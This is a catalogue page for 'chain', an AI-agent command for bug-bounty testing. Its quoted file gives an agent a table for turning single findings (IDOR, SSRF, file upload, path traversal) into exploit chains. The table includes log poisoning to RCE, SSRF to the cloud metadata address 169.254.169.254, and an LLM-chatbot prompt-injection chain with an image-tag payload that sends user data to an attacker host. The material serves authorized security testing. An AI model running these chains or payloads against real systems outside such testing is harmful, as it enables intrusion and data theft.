chain

A command for looking for ways to combine a confirmed security bug with related bugs to show greater impact. It checks common chains such as an access-control flaw leading to account takeover.

In plain words
What is it for?
Use it during security testing after confirming a standalone finding. It suggests follow-up checks across related endpoints, features, and bug types.
Why use it?
A bug that seems low-risk on its own may become more serious when combined with another weakness. This helps you know what related areas to test after finding the first bug.

Command

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add commands/awarexone/agentic-bug-hunter/chain
Clone the repo
git clone --depth 1 https://github.com/Awarexone/Agentic-Bug-Hunter
Per session 0 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 1,399 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 1 finding. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00000 $0.01399
Opus 5 $0.00000 $0.00700
Sonnet 5 $0.00000 $0.00280
Haiku 4.5 $0.00000 $0.00140

Measured 2d ago against content hash ab9950ab8a18, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade B, and why

chain scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

2. Try internal IPs: 169.254.169.254, 10.x.x.x, 172.16.x.x

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Origin

Copies of this mod

3 near-identical copies found in the catalogue:

  • chain — 100% identical, 0 lines differ
  • chain — 97% identical, 1 lines differ
  • chain — 97% identical, 1 lines differ
commands/chain.md · 135 lines

How it starts

The opening of the file, as written. The whole thing — 135 lines — stays where its author put it; the contents beside it link to each section on GitHub.

/chain

Build an A→B→C exploit chain for higher severity and payout.

When to Use This

After confirming a standalone finding that:

  • Is on the "conditionally valid" list (open redirect, SSRF DNS-only, etc.)
  • Has been validated but classified as Low
  • Could be Medium or High if combined with another finding

Usage

/chain

Describe bug A when prompted. Include:

  • Bug class
  • Endpoint
  • What you can do with it
  • Target platform

The A→B Signal Table

If you found A, immediately check these B candidates:

Found A Immediately Check B Also Check C
IDOR on GET /api/user/X/orders IDOR on PUT/DELETE same path IDOR on ALL sibling endpoints
IDOR on /v2/ endpoint Same IDOR on /v1/ (missing fix) IDOR on mobile API
Auth bypass on one endpoint Every sibling in same controller Old API version
Stored XSS in user input Does admin view this? (priv esc) Email/export/PDF rendering
SSRF with DNS callback SSRF reaching internal services SSRF via open redirect
SQLi on one parameter Every parameter in same endpoint Same param type in sibling endpoints
File upload — PNG allowed Try SVG (XSS), HTML, PHP/JSP (RCE) Double extension: shell.php.jpg
OAuth missing PKCE CSRF on OAuth flow (state param?) Token reuse: auth_code exchanged twice?
Open redirect confirmed OAuth code theft via redirect_uri Phishing chain
GraphQL introspection Auth bypass on mutations IDOR via node(id)
Race condition on coupons Race on credits/wallet Race on rate limits
Exposed S3 listing JS bundles → grep API keys/OAuth .env files in bucket
Missing rate limit on OTP Brute force OTP directly Brute force password reset tokens
CSRF on sensitive action XSS→CSRF = Critical img src / form autosubmit
Path traversal LFI: /proc/self/environ or logs Log poisoning → RCE
Leaked API key in JS Call API as that key — what can it do? Other keys in same JS file
LLM chatbot prompt injection IDOR via chatbot (read other user's data) Exfil chain: <img src="attacker?d=USER_DATA">

Read the full file on GitHub · 135 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 135 lines · 0 tokens per session scan B ab9950ab8a18

Subscribe to this mod's changes

chain is a command published in the GitHub repository Awarexone/Agentic-Bug-Hunter (4,651 stars, last pushed yesterday), licensed MIT. It costs nothing until one of its globs matches a file; then it loads 1,399 tokens. A static security scan graded it B with 1 finding (cloud metadata endpoint). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other commands, from other repositories

recon

Run full recon pipeline on a target — subdomain enum (Chaos API + subfinder), live host discovery (dnsx + httpx), URL crawl (katana + waybackurls + gau), gf pattern classification, nuclei scan. Outputs to recon/ / directory. Usage: /recon target.com.

elementalsouls/Claude-BugHunter · 65 tokens

hunt

Active vulnerability hunting. Two-track dispatcher — asks Red Team vs WAPT, hands off to hunt-dispatch skill and sibling commands. Usage: /hunt target.com | /hunt .target.com | /hunt targets.txt [--vuln-class X] [--source-code P] [--chrome].

elementalsouls/Claude-BugHunter · 63 tokens

token-scan

Meme coin and token security scan — checks for rug pull vectors (hidden mint, honeypot, fee manipulation, LP lock bypass, authority retention, bonding curve exploits, fake renounce, sandwich amplification). Manual 8-class grep audit (with an optional automated scanner if present). Usage: /token-scan [--chain solana].

elementalsouls/Claude-BugHunter · 79 tokens

autopilot

Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo].

elementalsouls/Claude-BugHunter · 49 tokens

triage

Quick 7-Question Gate triage on a finding before writing a report. Kills N/A submissions before they happen. Faster than /validate — for quick go/no-go decisions. Usage: /triage.

elementalsouls/Claude-BugHunter · 45 tokens

validate

Validate a finding — runs 7-Question Gate + 4-gate checklist. Kills weak findings before report writing. Prevents N/A submissions that hurt validity ratio. Usage: /validate.

elementalsouls/Claude-BugHunter · 41 tokens